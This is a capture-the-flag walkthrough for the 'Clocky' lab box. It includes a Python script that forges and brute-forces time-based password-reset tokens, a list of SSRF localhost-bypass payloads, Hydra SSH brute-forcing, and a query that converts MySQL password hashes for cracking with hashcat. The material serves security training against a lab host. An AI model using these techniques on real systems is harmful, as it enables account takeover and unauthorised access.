Clocky

Time is an illusion. - by toxicat0r


Recon

We start with a Nmap scan and discover four open ports. 22 on which SSH is available and on ports 80, 8000, and 8080, we are dealing with web servers. On 80 with Apache HTTP 2.4.4, and on 8000 with nginx 1.18.0 and 8080 Werkzeug/2.2.3 Python/3.8.10 .

Furthermore, we find three disallowed entries in the robots.txt on the nginx webserver.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/clocky]
└─$ nmap -sC -sV -p 22,80,8000,8080 clocky.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-29 22:37 EDT
Nmap scan report for clocky.thm (10.10.1.135)
Host is up (0.039s latency).                                                                                                                       
                                                                                                                                                   
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d9:42:e0:c0:d0:a9:8a:c3:82:65:ab:1e:5c:9c:0d:ef (RSA)
|   256 ff:b6:27:d5:8f:80:2a:87:67:25:ef:93:a0:6b:5b:59 (ECDSA)
|_  256 e1:2f:4a:f5:6d:f1:c4:bc:89:78:29:72:0c:ec:32:d2 (ED25519)
80/tcp   open  http       Apache httpd 2.4.41
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.41 (Ubuntu)
8000/tcp open  http       nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-robots.txt: 3 disallowed entries 
|_/*.sql$ /*.zip$ /*.bak$
|_http-title: 403 Forbidden
8080/tcp open  http-proxy Werkzeug/2.2.3 Python/3.8.10
|_http-server-header: Werkzeug/2.2.3 Python/3.8.10
|_http-title: Clocky
                                                                                                                  

We take another look at the robots.txt at endpoint 8000 and confirm the findings from Nmap. We also find the first flag here.

Since these entries are explicitly not allowed for crawlers, sensitive information could be hidden here. It is very likely that security by obscurity is the only protection here. We run a Gobuster scan to enumerate all directories, including the file endings sql, zip, and bak. The image shows only the zip scan. We find an index.zip archive next to robots.txt.

We download and extract the zip archive and find the second flag; we are heading in the right direction.

Even though we already have two flags that show us the possible route to take, let's take a look at the other end points. A directory scan on 8080 reveals a dashboard, an administrator page and an option to reset the password.

If we visit the index page, we find only a few anchor links and the current time, which is updated when the page is loaded.

If we want to access the /dashboard, we are redirected to the /administrator page and have to log in. Unfortunately, usernames cannot be enumerated here, and no SQL injection is possible at first glance.

A directory scan using gobuster did not produce any results on endpoint 80. Even including the file extensions sql, zip and bak did not yield any results for the time being, since each requested resource leads to a 403.

Shell As Clarice

The app.py is a flask application, maybe the one on port 8080. It includes routes for user authentication, password reset, and an administrator dashboard. It utilizes a MySQL database for user management and password reset tokens. However, it lacks proper error handling, security measures like rate limiting, and some routes are not fully implemented, indicating areas for improvement in terms of functionality and security. There is also no input sanitization, which indicates a possible SQL injection vulnerabilities. Additionally, there are comments suggesting plans for future development, such as deploying a new application version and implementing rate limiting or using a Web Application Firewall.

We might deal with an older version of app.py, since it seems like the debug mode is turned off on the live page.

We are able to extract the routes /, /administrator, /forgot_password we already knew of and a new route /reset_password. And also find at least three potential usernames: clocky_user as the database user, and jane and clarice as the potential developers of the application.

Of interest for further abuse is the password reset process. The Users access the forgot password page and enter their username. The application checks if the provided username exists in the database. If the username exists, a unique token is generated. The token generation algorithm combines the current timestamp with the username. This concatenation creates a unique string that is then hashed using the SHA-1 hashing algorithm. This token can then be used to reset the user's password via the password_reset page.

So, if we have a valid username, we should be able to request a password reset for this user, since we can get the current time of the system from the index page. Furthermore, do we know exactly the format of time, since we can try in Python str(datetime.datetime.now())[:-4] which yields a format of YYYY-MM-DD HH:ss:SS. This lets us create a valid token SHA1(CURRENT_TIME . USERNAME).

A time synchronization is not possible with the server; even if you recognize the time zone and take it into account in your script and query it, you might be off in seconds, which requires you to brute force more. Hence the approach to get the timestamp from the index page.

app.py

# Not done with correct imports
# Some missing, some needs to be added
# Some are not in use...? Check flask imports please. Many are not needed
from flask import Flask, flash, redirect, render_template, request, session, abort, Response
from time import gmtime, strftime
from dotenv import load_dotenv
import os, pymysql.cursors, datetime, base64, requests


# Execute "database.sql" before using this
load_dotenv()
db = os.environ.get('db')


# Connect to MySQL database
connection = pymysql.connect(host="localhost",
								user="clocky_user",
								password=db,
								db="clocky",
								cursorclass=pymysql.cursors.DictCursor)

app = Flask(__name__)


# A new app will be deployed in prod soon
# Implement rate limiting on all endpoints
# Let's just use a WAF...?
# Not done (16/05-2023, jane)
@app.route("/")
def home():
	current_time = strftime("%Y-%m-%d %H:%M:%S", gmtime())
	return render_template("index.html", current_time=current_time)



# Done (16/05-2023, jane)
@app.route("/administrator", methods=["GET", "POST"])
def administrator():
	if session.get("logged_in"):
		return render_template("admin.html")

	else:
		if request.method == "GET":
			return render_template("login.html")
		
		if request.method == "POST":
			user_provided_username = request.form["username"]
			user_provided_password = request.form["password"]

			
			try:
				with connection.cursor() as cursor:

					sql = "SELECT ID FROM users WHERE username = %s"
					cursor.execute(sql, (user_provided_username))
					
					user_id = cursor.fetchone()
					user_id = user_id["ID"]

					sql = "SELECT password FROM passwords WHERE ID=%s AND password=%s"
					cursor.execute(sql, (user_id, user_provided_password))

					if cursor.fetchone():
						session["logged_in"] = True
						return redirect("/dashboard", code=302)

			except:
				pass
		
			message = "Invalid username or password"
			return render_template("login.html", message=message)

# Work in progress (10/05-2023, jane)
# Is the db really necessary?
@app.route("/forgot_password", methods=["GET", "POST"])
def forgot_password():
	if session.get("logged_in"):
		return render_template("admin.html")

	else:
		if request.method == "GET":
			return render_template("forgot_password.html")
		
		if request.method == "POST":
			username = request.form["username"]
			username = username.lower()

			try:
				with connection.cursor() as cursor:

					sql = "SELECT username FROM users WHERE username = %s"
					cursor.execute(sql, (username))

					if cursor.fetchone():
						value = datetime.datetime.now()
						lnk = str(value)[:-4] + " . " + username.upper()
						lnk = hashlib.sha1(lnk.encode("utf-8")).hexdigest()
						sql = "UPDATE reset_token SET token=%s WHERE username = %s"
						cursor.execute(sql, (lnk, username))
						connection.commit()

			except:
				pass

			message = "A reset link has been sent to your e-mail"
			return render_template("forgot_password.html", message=message)


# Done
@app.route("/password_reset", methods=["GET"])
def password_reset():
        if request.method == "GET":
                # Need to agree on the actual parameter here (12/05-2023, jane)
                if request.args.get("TEMPORARY"):
                        # Not done (11/05-2023, clarice)
                        # user_provided_token = request.args.get("TEMPORARY")

                        try:
                                with connection.cursor() as cursor:

                                        sql = "SELECT token FROM reset_token WHERE token = %s"
                                        cursor.execute(sql, (user_provided_token))
                                        if cursor.fetchone():
                                                return render_template("password_reset.html", token=user_provided_token)

                                        else:
                                                return "<h2>Invalid token</h2>"

                        except:
                                pass

                else:
                        return "<h2>Invalid parameter</h2>"
        return "<h2>Invalid parameter</h2>"



# Debug enabled during dev
# TURN OFF ONCE IN PROD!
# This can be very dangerous
# ref https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug#pin-protected-path-traversal

# Use gunicorn?
if __name__ == "__main__":
	app.secret_key = os.urandom(256)
	app.run(host="0.0.0.0", port="8080", debug=True)

Unfortunately, the password reset field does not offer the possibility to enumerate the users; for every username we enter, we receive a valid confirmation. So we have to request a reset for every user we have enumerated so far in the hope of catching an existing one.

When we access the password_reset page, we are told that we have entered the wrong parameter. We have not entered one here.

The use of the TEMPORARY parameter leads to the same note. It's probable that the parameter changed and the app.py we received from index.zip is outdated.

To enumerate the correct parameter, we can make sure of s0md3vs tool called Arjun. Or we could just guess the correct one in this case. As the site expects tokens, the parameter could be named like something related to tokens.

We run Arjun and see that token is the correct parameter.

Upon accessing the page and providing an arbitrary token with the parameter, we get the hint that it's an invalid token instead of an invalid parameter.

We now have to create a script that uses the password reset process described before. To do this, we pass a lsit of usernames to the script, for which the password reset is triggered, and at the same time, the index page is called in order to obtain the current time stamp of the server.

Now we only have a small problem; the milliseconds are missing in the timestamp and cannot be determined with a separate call with the correct time. So we create 100 timestamps with all millisecond combinations, use them to create the tokens. Then we brute force the reset_password page with the created tokens. If we get a response without the content of Invalid token, we have the correct token and query the reset with it.

reset.py
import sys
import datetime
import hashlib
import requests
import re

def read_file(filename):
    try:
        with open(filename, 'r') as file:
            content =  [line.strip() for line in file.readlines()]
            return content
    except FileNotFoundError:
        print('File \'{}\' not found.'.format(filename))
        
def reset_password(url, data):
    try:
        response = requests.post(url+'/forgot_password', data=data)
        time_response = requests.get(url)
        if response.status_code == 200:
            print('Password reset successful!')
            
            if time_response.status_code == 200:
                time_pattern = r'The current time is (\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2})'
                match = re.search(time_pattern, time_response.text)
                if match:
                    current_time = match.group(1)
                    print('Current time:', current_time)
                    return current_time
    except Exception as e:
        print('An error occurred: {}'.format(str(e)))

def calc_tokens(username, timestamp):
    tokens = []
    for i in range(100):
        lnk = timestamp + '.' + format(i, '02') + ' . ' + username.upper()
        hashvalue = hashlib.sha1(lnk.encode('utf-8'))
        #print(lnk + ' : ' + hashvalue.hexdigest())
        tokens.append(hashvalue.hexdigest())
    return tokens

def try_tokens(url, tokens):
    for token in tokens:
        token_url = url+'password_reset?token=' + token
        response = requests.get(token_url)
        if '<h2>Invalid token</h2>' not in response.text:
            print('Valid token: {}'.format(token))


if __name__ == '__main__':
    if len(sys.argv) != 2:
        print('Usage: python reset.py <filename>')
    else:
        filename = sys.argv[1]
        base_url = 'http://clocky.thm:8080/'

        for user in read_file(filename):
            print(user)
            data = {
               'username': user
            }
            timestamp = reset_password(base_url, data)
            try_tokens(base_url, calc_tokens(user, timestamp))
            print('---------------------------------------------------------')

Next, we craft a users.txt which contains all possible users we found so far, including standard usernames like admin and administrator.

users.txt
administrator
admin
clocky_user
jane
clarice
clocky

We run the script and get a hit on Administrator.

We use the found token to query a password reset for the user Administrator.

Next, we log in as Administrator with the new credentials...

... and are redirected to the dashboard, where we find the third flag.

We try to receive files on the system using file://etc/passwd, but that does not work. We know we still have restricted access to the endpoint on port 80, so try to access this via http://127.0.0.1/. We get a message, that the action is not permitted. We are dealing with SSRF with restrictions. So we should be able to somehow bypass it.

The following resource gives some payloads to bypass it.

With http://0:8080/, we are able to access the endpoint 8080.

http://0:8080/

Unfortunately, on port 80, we get a 400 Bad Request response—at least something.

http://0:80/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.1.1 Port 80</address>
</body></html>

Further trying leads to using the potential hostname, which gives us a 200 response with just the heading Internal dev storage.

# DNS to localhost
http://clocky:80/

Ideally, this can also be automated and solved with the Burp Suite Intruder. In the initial solution, another possibility has been overlooked, namely that the resource on port 80 can also be accessed via http://0x7f000001/. The steps in Burp Suite are broken down here: First catch the request at /dashboard and pass it to Intruder.

Next, use the list of Hacktricks mentioned before, and paste or load it in the payload settings. Slight additions have to be made, remove the comments and the comments with =.

Here is the edited list:

URL Format Bypass
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://127.000000000000000.1
http://0
http:@0/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.⓪
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821
http://2130706433/
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/
http://0xc0a80014/
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001
127.000000000000.1
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1
http://clocky
http://clocky.thm

After starting the attack, two entries with a length of 270 bytes yield a successful bypass.

We recall our finding of robots.txt at the endpint at 8000. Maybe there are some files hidden, like they were there.

After a lot of guessing, we find a SQL file. It was mentioned in a comment inapp.py.

http://clocky:80/database.sql

Here we have the fourth flag and some credentials.

Recalling the users we found in app.py and including some common ones, we attempt to brute-force the SSH login with Hydra, in case those credentials were reused.

users.txt
admin
administrator
clocky_user
jane
clarice
clocky
root

We have a hit for the user clarice.

We SSH into the system as clarice and locate the fifth flag within the user's home directory.

Shell As Root

During system enumeration, we uncover the reference password for the database user mentioned in app.py, located at /home/clarice/app/.env.

With this information, we successfully enumerate the app's database. However, we find no additional entries.

Being desperate, we look into the mysql database and find some users with passwords. In MySQL, the authentication_string column in the mysql.user table contains the hashed password or authentication string for each user account. However, the format of these hashes does not precisely match any examples in hashcat.

We only have a partly match with $A$500 with the mode 7401. A specific hash type, that can only be found in specific systems.

Researching on the 7401 mode, we find a pull request adding 7401. There, we can extract the method to get the hash valid for hashcat.

There, you can find a discussion on how that hash should be processed. The comments discuss challenges with encoding consistency when using SHA256Crypt and MySQL, noting that MySQL employs a non-standard base64 variant. It suggests options such as converting all data to hex for consistency, creating custom encoding/decoding functions, pre-processing/post-processing data, or exploring alternative storage solutions to address these challenges.

With the following query by philsmd the hash can be converted to one compliant with hashcat.

SELECT user, CONCAT('$mysql',LEFT(authentication_string,6),'*',INSERT(HEX(SUBSTR(authentication_string,8)),41,0,'*')) AS hash FROM user WHERE plugin = 'caching_sha2_password' AND authentication_string NOT LIKE '%INVALIDSALTANDPASSWORD%';

Using Hashcat with rockyou.txt, we are able to crack the hash of user dev - with a hash starting with$mysql$A$005*1C1 - and retrieve the password of dev.

It turns out the password was already in use for root. We change the user to root and find the final flag in /root/flag6.txt.

Last updated